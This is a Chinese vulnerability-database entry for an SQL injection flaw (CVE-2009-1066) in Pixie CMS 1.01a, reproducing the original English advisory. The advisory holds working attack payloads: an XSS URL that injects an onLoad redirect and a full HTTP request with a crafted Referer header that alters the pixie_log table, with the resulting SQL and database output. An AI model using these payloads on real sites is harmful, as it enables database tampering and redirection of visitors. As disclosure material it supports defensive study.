Getpixie Pixie CMS 'admin/lib/lib_logs.ph'pSQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117494 漏洞类型 SQL注入
发布时间 2009-03-20 更新时间 2009-03-26
CVE编号 CVE-2009-1066 CNNVD-ID CNNVD-200903-466
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8252
https://www.securityfocus.com/bid/80648
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-466
|漏洞详情
PixieCMS是一款小型简单易用的免费开放源码的内容管理系统,开发者称之为WebSitMaker。PixieCMS1.01a版本的admin/lib/lib_logs.php中的提名函数存在SQL注入漏洞。远程攻击者可以借助一个请求中的RefererHTTP页眉,执行任意SQL指令。
|漏洞EXP
Pixie CMS Multiple Vulnerabilities

Pixie is a "free, open source web application that will help you quickly
create your own website.  Many people refer to this type of software as
a 'content management system (cms)'" (http://www.getpixie.co.uk).  Pixie
is written in PHP with a MySQL database back end.

Pixie Blog XSS

It is possible to trivially introduce a Cross Site Scripting (XSS)
attack by tampering with blog post URL variables, specifically the "x="
variable which is designed to contain blog posting titles.  For
instance, on a default install of Pixie, the first blog post contains is
referenced using the URL ?s=blog&m=permalink&x=my-first-post.  The "x"
variable is interlaced with the BODY tag during display on line 150 of
index.php:

<body class="pixie <?php $s." "; $date_array = getdate(); print
"y".$date_array['year']." "; print "m".$date_array['mon']." "; print
"d".$date_array['mday']." "; print "h".$date_array['hours']." "; print
$s; ?>">

by changing the "x" variable it is possible to inject HTML code into the
page display.  For instance, a Pixie blog post that was intended to be
published as

http://192.168.0.67/pixie/?s=blog&m=permalink&x=my-first-post

Can be altered to the form:

http://192.168.0.67/pixie/?s=blog&m=permalink&x="
onLoad="location.href='http://lampsecurity.org'

and redirect users to the "onLoad" specified URL.

Pixie Blog SQL Injection

Pixie blog is vulnerable to SQL injection by manipulating the "referer"
client request.  Referers are tracked in the referral() function
(/admin/lib/lib_logs.php line 31) but are not sanitized.  Thus,
manipulating the referer can allow an attacker to perform SQL Injection
attacks.  For example, sending the request:

GET http://192.168.0.67/pixie/?s=events HTTP/1.1
Host: 192.168.0.67
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6)
Gecko/2009020501 Firefox/3.0.6 Paros/3.2.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://www.lampsecurity.org/pixie/?s=about',log_id=1 on
duplicate key update log_message='foobar
Cookie: bb2_screener_=1237492959+192.168.0.3

Results in the pixie_log table being altered by issuing the following
SQL statement:

insert into pixie_log set user_id = 'Visitor', user_ip = '192.168.0.3',
log_time = now(), log_type = 'referral', log_icon = 'referral',
log_message = 'http://www.lampsecurity.org/pixie/?s=about',log_id=1 on
duplicate key update log_message='foobar'

resulting in:

mysql> select * from pixie_log where log_id=1;

+--------+---------+-------------+---------------------+----------+-------------+----------+---------------+
| log_id | user_id | user_ip     | log_time            | log_type |
log_message | log_icon | log_important |
+--------+---------+-------------+---------------------+----------+-------------+----------+---------------+
|      1 | Visitor | 192.168.0.3 | 2009-03-19 16:49:31 | system   |
foobar      | error    | yes           |
+--------+---------+-------------+---------------------+----------+-------------+----------+---------------+
1 row in set (0.00 sec)

This vulnerability report is also published at
http://lampsecurity.org/Pixie-CMS-Multiple-Vulnerabilities.

# milw0rm.com [2009-03-20]
|受影响的产品
Getpixie Pixie Cms 1.01A
|参考资料

来源:XF
名称:pixiecms-referral-sql-injection(49335)
链接:http://xforce.iss.net/xforce/xfdb/49335
来源:BID
名称:34189
链接:http://www.securityfocus.com/bid/34189
来源:MILW0RM
名称:8252
链接:http://www.milw0rm.com/exploits/8252
来源:SECUNIA
名称:34364
链接:http://secunia.com/advisories/34364
来源:OSVDB
名称:52833
链接:http://osvdb.org/52833
来源:MISC
链接:http://lampsecurity.org/Pixie-CMS-Multiple-Vulnerabilities
来源:FULLDISC
名称:20090319PixieCMSMultipleVulnerabilities
链接:http://archives.neohapsis.com/archives/fulldisclosure/2009-03/0324.html